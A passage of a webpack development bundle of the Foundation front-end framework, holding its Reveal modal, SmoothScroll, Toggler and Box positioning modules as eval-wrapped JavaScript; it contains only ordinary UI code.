jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('keydown.zf.reveal', function (e) {\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].handleKey(e, 'Reveal', {\n close: function close() {\n if (_this.options.closeOnEsc) {\n _this.close();\n }\n }\n });\n });\n }\n }\n /**\n * Closes the modal.\n * @function\n * @fires Reveal#closed\n */\n\n }, {\n key: \"close\",\n value: function close() {\n if (!this.isActive || !this.$element.is(':visible')) {\n return false;\n }\n\n var _this = this; // Motion UI method of hiding\n\n\n if (this.options.animationOut) {\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$overlay, 'fade-out');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$element, this.options.animationOut, finishUp);\n } // jQuery method of hiding\n else {\n this.$element.hide(this.options.hideDelay);\n\n if (this.options.overlay) {\n this.$overlay.hide(0, finishUp);\n } else {\n finishUp();\n }\n } // Conditionals to remove extra event listeners added on open\n\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('keydown.zf.reveal');\n }\n\n if (!this.options.overlay && this.options.closeOnClick) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').off('click.zf.reveal');\n }\n\n this.$element.off('keydown.zf.reveal');\n\n function finishUp() {\n // Get the current top before the modal is closed and restore the scroll after.\n // TODO: use component properties instead of HTML properties\n // See https://github.com/zurb/foundation-sites/pull/10786\n var scrollTop = parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n _this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].releaseFocus(_this.$element);\n\n _this.$element.attr('aria-hidden', true);\n\n _this._enableScroll(scrollTop);\n /**\n * Fires when the modal is done closing.\n * @event Reveal#closed\n */\n\n\n _this.$element.trigger('closed.zf.reveal');\n }\n /**\n * Resets the modal content\n * This prevents a running video to keep going in the background\n */\n\n\n if (this.options.resetOnClose) {\n this.$element.html(this.$element.html());\n }\n\n this.isActive = false; // If deepLink and we did not switched to an other modal...\n\n if (_this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n // Remove the history hash\n if (window.history.replaceState) {\n var urlWithoutHash = window.location.pathname + window.location.search;\n\n if (this.options.updateHistory) {\n window.history.pushState({}, '', urlWithoutHash); // remove the hash\n } else {\n window.history.replaceState('', document.title, urlWithoutHash);\n }\n } else {\n window.location.hash = '';\n }\n }\n\n this.$activeAnchor.focus();\n }\n /**\n * Toggles the open/closed state of a modal.\n * @function\n */\n\n }, {\n key: \"toggle\",\n value: function toggle() {\n if (this.isActive) {\n this.close();\n } else {\n this.open();\n }\n }\n }, {\n key: \"_destroy\",\n\n /**\n * Destroys an instance of a modal.\n * @function\n */\n value: function _destroy() {\n if (this.options.overlay) {\n this.$element.appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo)); // move $element outside of $overlay to prevent error unregisterPlugin()\n\n this.$overlay.hide().off().remove();\n }\n\n this.$element.hide().off();\n this.$anchor.off('.zf');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\".zf.reveal:\".concat(this.id));\n if (this.onLoadListener) jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(this.onLoadListener);\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n }\n }]);\n\n return Reveal;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nReveal.defaults = {\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationIn: '',\n\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationOut: '',\n\n /**\n * Time, in ms, to delay the opening of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n showDelay: 0,\n\n /**\n * Time, in ms, to delay the closing of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n hideDelay: 0,\n\n /**\n * Allows a click on the body/overlay to close the modal.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allows the modal to close if the user presses the `ESCAPE` key.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnEsc: true,\n\n /**\n * If true, allows multiple modals to be displayed at once.\n * @option\n * @type {boolean}\n * @default false\n */\n multipleOpened: false,\n\n /**\n * Distance, in pixels, the modal should push down from the top of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n vOffset: 'auto',\n\n /**\n * Distance, in pixels, the modal should push in from the side of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n hOffset: 'auto',\n\n /**\n * Allows the modal to be fullscreen, completely blocking out the rest of the view. JS checks for this as well.\n * @option\n * @type {boolean}\n * @default false\n */\n fullScreen: false,\n\n /**\n * Allows the modal to generate an overlay div, which will cover the view when modal opens.\n * @option\n * @type {boolean}\n * @default true\n */\n overlay: true,\n\n /**\n * Allows the modal to remove and reinject markup on close. Should be true if using video elements w/o using provider's api, otherwise, videos will continue to play in the background.\n * @option\n * @type {boolean}\n * @default false\n */\n resetOnClose: false,\n\n /**\n * Link the location hash to the modal.\n * Set the location hash when the modal is opened/closed, and open/close the modal when the location changes.\n * @option\n * @type {boolean}\n * @default false\n */\n deepLink: false,\n\n /**\n * If `deepLink` is enabled, update the browser history with the open modal\n * @option\n * @default false\n */\n updateHistory: false,\n\n /**\n * Allows the modal to append to custom div.\n * @option\n * @type {string}\n * @default \"body\"\n */\n appendTo: \"body\",\n\n /**\n * Allows adding additional class names to the reveal overlay.\n * @option\n * @type {string}\n * @default ''\n */\n additionalOverlayClasses: ''\n};\n\n\n//# sourceURL=webpack:///./js/foundation.reveal.js?")},"./js/foundation.smoothScroll.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "SmoothScroll", function() { return SmoothScroll; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n/**\n * SmoothScroll module.\n * @module foundation.smooth-scroll\n */\n\nvar SmoothScroll =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(SmoothScroll, _Plugin);\n\n function SmoothScroll() {\n _classCallCheck(this, SmoothScroll);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(SmoothScroll).apply(this, arguments));\n }\n\n _createClass(SmoothScroll, [{\n key: "_setup",\n\n /**\n * Creates a new instance of SmoothScroll.\n * @class\n * @name SmoothScroll\n * @fires SmoothScroll#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, SmoothScroll.defaults, this.$element.data(), options);\n this.className = \'SmoothScroll\'; // ie9 back compat\n\n this._init();\n }\n /**\n * Initialize the SmoothScroll plugin\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var id = this.$element[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, \'smooth-scroll\');\n this.$element.attr({\n id: id\n });\n\n this._events();\n }\n /**\n * Initializes events for SmoothScroll.\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.on(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.on(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n /**\n * Handle the given event to smoothly scroll to the anchor pointed by the event target.\n * @param {*} e - event\n * @function\n * @private\n */\n\n }, {\n key: "_handleLinkClick",\n value: function _handleLinkClick(e) {\n var _this = this;\n\n // Follow the link if it does not point to an anchor.\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.currentTarget).is(\'a[href^="#"]\')) return;\n var arrival = e.currentTarget.getAttribute(\'href\');\n this._inTransition = true;\n SmoothScroll.scrollToLoc(arrival, this.options, function () {\n _this._inTransition = false;\n });\n e.preventDefault();\n }\n }, {\n key: "_destroy",\n\n /**\n * Destroys the SmoothScroll instance.\n * @function\n */\n value: function _destroy() {\n this.$element.off(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.off(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n }], [{\n key: "scrollToLoc",\n\n /**\n * Function to scroll to a given location on the page.\n * @param {String} loc - A properly formatted jQuery id selector. Example: \'#foo\'\n * @param {Object} options - The options to use.\n * @param {Function} callback - The callback function.\n * @static\n * @function\n */\n value: function scrollToLoc(loc) {\n var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : SmoothScroll.defaults;\n var callback = arguments.length > 2 ? arguments[2] : undefined;\n var $loc = jquery__WEBPACK_IMPORTED_MODULE_0___default()(loc); // Do nothing if target does not exist to prevent errors\n\n if (!$loc.length) return false;\n var scrollPos = Math.round($loc.offset().top - options.threshold / 2 - options.offset);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\'html, body\').stop(true).animate({\n scrollTop: scrollPos\n }, options.animationDuration, options.animationEasing, function () {\n if (typeof callback === \'function\') {\n callback();\n }\n });\n }\n }]);\n\n return SmoothScroll;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n/**\n * Default settings for plugin.\n */\n\n\nSmoothScroll.defaults = {\n /**\n * Amount of time, in ms, the animated scrolling should take between locations.\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Animation style to use when scrolling between locations. Can be `\'swing\'` or `\'linear\'`.\n * @option\n * @type {string}\n * @default \'linear\'\n * @see {@link https://api.jquery.com/animate|Jquery animate}\n */\n animationEasing: \'linear\',\n\n /**\n * Number of pixels to use as a marker for location changes.\n * @option\n * @type {number}\n * @default 50\n */\n threshold: 50,\n\n /**\n * Number of pixels to offset the scroll of the page on item click if using a sticky nav bar.\n * @option\n * @type {number}\n * @default 0\n */\n offset: 0\n};\n\n\n//# sourceURL=webpack:///./js/foundation.smoothScroll.js?')},"./js/foundation.toggler.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Toggler", function() { return Toggler; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.triggers */ "./js/foundation.util.triggers.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * Toggler module.\n * @module foundation.toggler\n * @requires foundation.util.motion\n * @requires foundation.util.triggers\n */\n\nvar Toggler =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Toggler, _Plugin);\n\n function Toggler() {\n _classCallCheck(this, Toggler);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Toggler).apply(this, arguments));\n }\n\n _createClass(Toggler, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Toggler.\n * @class\n * @name Toggler\n * @fires Toggler#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Toggler.defaults, element.data(), options);\n this.className = \'\';\n this.className = \'Toggler\'; // ie9 back compat\n // Triggers init is idempotent, just need to make sure it is initialized\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Toggler plugin by parsing the toggle class from data-toggler, or animation classes from data-animate.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var input; // Parse animation classes if they were set\n\n if (this.options.animate) {\n input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n } // Otherwise, parse toggle class\n else {\n input = this.$element.data(\'toggler\'); // Allow for a . at the beginning of the string\n\n this.className = input[0] === \'.\' ? input.slice(1) : input;\n } // Add ARIA attributes to triggers:\n\n\n var id = this.$element[0].id,\n $triggers = jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open~=\\"".concat(id, "\\"], [data-close~=\\"").concat(id, "\\"], [data-toggle~=\\"").concat(id, "\\"]")); // - aria-expanded: according to the element visibility.\n\n $triggers.attr(\'aria-expanded\', !this.$element.is(\':hidden\')); // - aria-controls: adding the element id to it if not already in it.\n\n $triggers.each(function (index, trigger) {\n var $trigger = jquery__WEBPACK_IMPORTED_MODULE_0___default()(trigger);\n var controls = $trigger.attr(\'aria-controls\') || \'\';\n var containsId = new RegExp("\\\\b".concat(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__["RegExpEscape"])(id), "\\\\b")).test(controls);\n if (!containsId) $trigger.attr(\'aria-controls\', controls ? "".concat(controls, " ").concat(id) : id);\n });\n }\n /**\n * Initializes events for the toggle trigger.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.off(\'toggle.zf.trigger\').on(\'toggle.zf.trigger\', this.toggle.bind(this));\n }\n /**\n * Toggles the target class on the target element. An event is fired from the original trigger depending on if the resultant state was "on" or "off".\n * @function\n * @fires Toggler#on\n * @fires Toggler#off\n */\n\n }, {\n key: "toggle",\n value: function toggle() {\n this[this.options.animate ? \'_toggleAnimate\' : \'_toggleClass\']();\n }\n }, {\n key: "_toggleClass",\n value: function _toggleClass() {\n this.$element.toggleClass(this.className);\n var isOn = this.$element.hasClass(this.className);\n\n if (isOn) {\n /**\n * Fires if the target element has the class after a toggle.\n * @event Toggler#on\n */\n this.$element.trigger(\'on.zf.toggler\');\n } else {\n /**\n * Fires if the target element does not have the class after a toggle.\n * @event Toggler#off\n */\n this.$element.trigger(\'off.zf.toggler\');\n }\n\n this._updateARIA(isOn);\n\n this.$element.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n }\n }, {\n key: "_toggleAnimate",\n value: function _toggleAnimate() {\n var _this = this;\n\n if (this.$element.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateIn(this.$element, this.animationIn, function () {\n _this._updateARIA(true);\n\n this.trigger(\'on.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateOut(this.$element, this.animationOut, function () {\n _this._updateARIA(false);\n\n this.trigger(\'off.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n }\n }\n }, {\n key: "_updateARIA",\n value: function _updateARIA(isOn) {\n var id = this.$element[0].id;\n jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open=\\"".concat(id, "\\"], [data-close=\\"").concat(id, "\\"], [data-toggle=\\"").concat(id, "\\"]")).attr({\n \'aria-expanded\': isOn ? true : false\n });\n }\n /**\n * Destroys the instance of Toggler on the element.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.toggler\');\n }\n }]);\n\n return Toggler;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n\nToggler.defaults = {\n /**\n * Tells the plugin if the element should animated when toggled.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.toggler.js?')},"./js/foundation.util.box.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Box\", function() { return Box; });\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\nvar Box = {\n ImNotTouchingYou: ImNotTouchingYou,\n OverlapArea: OverlapArea,\n GetDimensions: GetDimensions,\n GetOffsets: GetOffsets,\n GetExplicitOffsets: GetExplicitOffsets\n /**\n * Compares the dimensions of an element to a container and determines collision events with container.\n * @function\n * @param {jQuery} element - jQuery object to test for collisions.\n * @param {jQuery} parent - jQuery object to use as bounding container.\n * @param {Boolean} lrOnly - set to true to check left and right values only.\n * @param {Boolean} tbOnly - set to true to check top and bottom values only.\n * @default if no parent object passed, detects collisions with `window`.\n * @returns {Boolean} - true if collision free, false if a collision in any direction.\n */\n\n};\n\nfunction ImNotTouchingYou(element, parent, lrOnly, tbOnly, ignoreBottom) {\n return OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) === 0;\n}\n\n;\n\nfunction OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) {\n var eleDims = GetDimensions(element),\n topOver,\n bottomOver,\n leftOver,\n rightOver;\n\n if (parent) {\n var parDims = GetDimensions(parent);\n bottomOver = parDims.height + parDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - parDims.offset.top;\n leftOver = eleDims.offset.left - parDims.offset.left;\n rightOver = parDims.width + parDims.offset.left - (eleDims.offset.left + eleDims.width);\n } else {\n bottomOver = eleDims.windowDims.height + eleDims.windowDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - eleDims.windowDims.offset.top;\n leftOver = eleDims.offset.left - eleDims.windowDims.offset.left;\n rightOver = eleDims.windowDims.width - (eleDims.offset.left + eleDims.width);\n }\n\n bottomOver = ignoreBottom ? 0 : Math.min(bottomOver, 0);\n topOver = Math.min(topOver, 0);\n leftOver = Math.min(leftOver, 0);\n rightOver = Math.min(rightOver, 0);\n\n if (lrOnly) {\n return leftOver + rightOver;\n }\n\n if (tbOnly) {\n return topOver + bottomOver;\n } // use sum of squares b/c we care about overlap area.\n\n\n return Math.sqrt(topOver * topOver + bottomOver * bottomOver + leftOver * leftOver + rightOver * rightOver);\n}\n/**\n * Uses native methods to return an object of dimension values.\n * @function\n * @param {jQuery || HTML} element - jQuery object or DOM element for which to get the dimensions. Can be any element other that document or window.\n * @returns {Object} - nested object of integer pixel values\n * TODO - if element is window, return only those values.\n */\n\n\nfunction GetDimensions(elem) {\n elem = elem.length ? elem[0] : elem;\n\n if (elem === window || elem === document) {\n throw new Error(\"I'm sorry, Dave. I'm afraid I can't do that.\");\n }\n\n var rect = elem.getBoundingClientRect(),\n parRect = elem.parentNode.getBoundingClientRect(),\n winRect = document.body.getBoundingClientRect(),\n winY = window.pageYOffset,\n winX = window.pageXOffset;\n return {\n width: rect.width,\n height: rect.height,\n offset: {\n top: rect.top + winY,\n left: rect.left + winX\n },\n parentDims: {\n width: parRect.width,\n height: parRect.height,\n offset: {\n top: parRect.top + winY,\n left: parRect.left + winX\n }\n },\n windowDims: {\n width: winRect.width,\n height: winRect.height,\n offset: {\n top: winY,\n left: winX\n }\n }\n };\n}\n/**\n * Returns an object of top and left integer pixel values for dynamically rendered elements,\n * such as: Tooltip, Reveal, and Dropdown. Maintained for backwards compatibility, and where\n * you don't know alignment, but generally from\n * 6.4 forward you should use GetExplicitOffsets, as GetOffsets conflates position and alignment.\n * @function\n * @param {jQuery} element - jQuery object for the element being positioned.\n * @param {jQuery} anchor - jQuery object for the element's anchor point.\n * @param {String} position - a string relating to the desired position of the element, relative to it's anchor\n * @param {Number} vOffset - integer pixel value of desired vertical separation between anchor and element.\n * @param {Number} hOffset - integer pixel value of desired horizontal separation between anchor and element.\n * @param {Boolean} isOverflow - if a collision event is detected, sets to true to default the element to full width - any desired offset.\n * TODO alter/rewrite to work with `em` values as well/instead of pixels\n */\n\n\nfunction GetOffsets(element, anchor, position, vOffset, hOffset, isOverflow) {\n console.log(\"NOTE: GetOffsets is deprecated in favor of GetExplicitOffsets and will be removed in 6.5\");\n\n switch (position) {\n case 'top':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'top', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'top', 'right', vOffset, hOffset, isOverflow);\n\n case 'bottom':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n\n case 'center top':\n return GetExplicitOffsets(element, anchor, 'top', 'center', vOffset, hOffset, isOverflow);\n\n case 'center bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'center', vOffset, hOffset, isOverflow);\n\n case 'center left':\n return GetExplicitOffsets(element, anchor, 'left', 'center', vOffset, hOffset, isOverflow);\n\n case 'center right':\n return GetExplicitOffsets(element, anchor, 'right', 'center', vOffset, hOffset, isOverflow);\n\n case 'left bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow);\n\n case 'right bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n // Backwards compatibility... this along with the reveal and reveal full\n // classes are the only ones that didn't reference anchor\n\n case 'center':\n return {\n left: $eleDims.windowDims.offset.left + $eleDims.windowDims.width / 2 - $eleDims.width / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + $eleDims.windowDims.height / 2 - ($eleDims.height / 2 + vOffset)\n };\n\n case 'reveal':\n return {\n left: ($eleDims.windowDims.width - $eleDims.width) / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + vOffset\n };\n\n case 'reveal full':\n return {\n left: $eleDims.windowDims.offset.left,\n top: $eleDims.windowDims.offset.top\n };\n break;\n\n default:\n return {\n left: Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset : $anchorDims.offset.left + hOffset,\n top: $anchorDims.offset.top + $anchorDims.height + vOffset\n };\n }\n}\n\nfunction GetExplicitOffsets(element, anchor, position, alignment, vOffset, hOffset, isOverflow) {\n var $eleDims = GetDimensions(element),\n $anchorDims = anchor ? GetDimensions(anchor) : null;\n var topVal, leftVal; // set position related attribute\n\n switch (position) {\n case 'top':\n topVal = $anchorDims.offset.top - ($eleDims.height + vOffset);\n break;\n\n case 'bottom':\n topVal = $anchorDims.offset.top + $anchorDims.height + vOffset;\n break;\n\n case 'left':\n leftVal = $anchorDims.offset.left - ($eleDims.width + hOffset);\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left + $anchorDims.width + hOffset;\n break;\n } // set alignment related attribute\n\n\n switch (position) {\n case 'top':\n case 'bottom':\n switch (alignment) {\n case 'left':\n leftVal = $anchorDims.offset.left + hOffset;\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset;\n break;\n\n case 'center':\n leftVal = isOverflow ? hOffset : $anchorDims.offset.left + $anchorDims.width / 2 - $eleDims.width / 2 + hOffset;\n break;\n }\n\n break;\n\n case 'right':\n case 'left':\n switch (alignment) {\n case 'bottom':\n topVal = $anchorDims.offset.top - vOffset + $anchorDims.height - $eleDims.height;\n break;\n\n case 'top':\n topVal = $anchorDims.offset.top + vOffset;\n break;\n\n case 'center':\n topVal = $anchorDims.offset.top + vOffset + $anchorDims.height / 2 - $eleDims.height / 2;\n break;\n }\n\n break;\n }\n\n return {\n top: topVal,\n left: leftVal\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.box.js?")},"./js/foundation.util.keyboard.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Keyboard\", function() { return Keyboard; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! 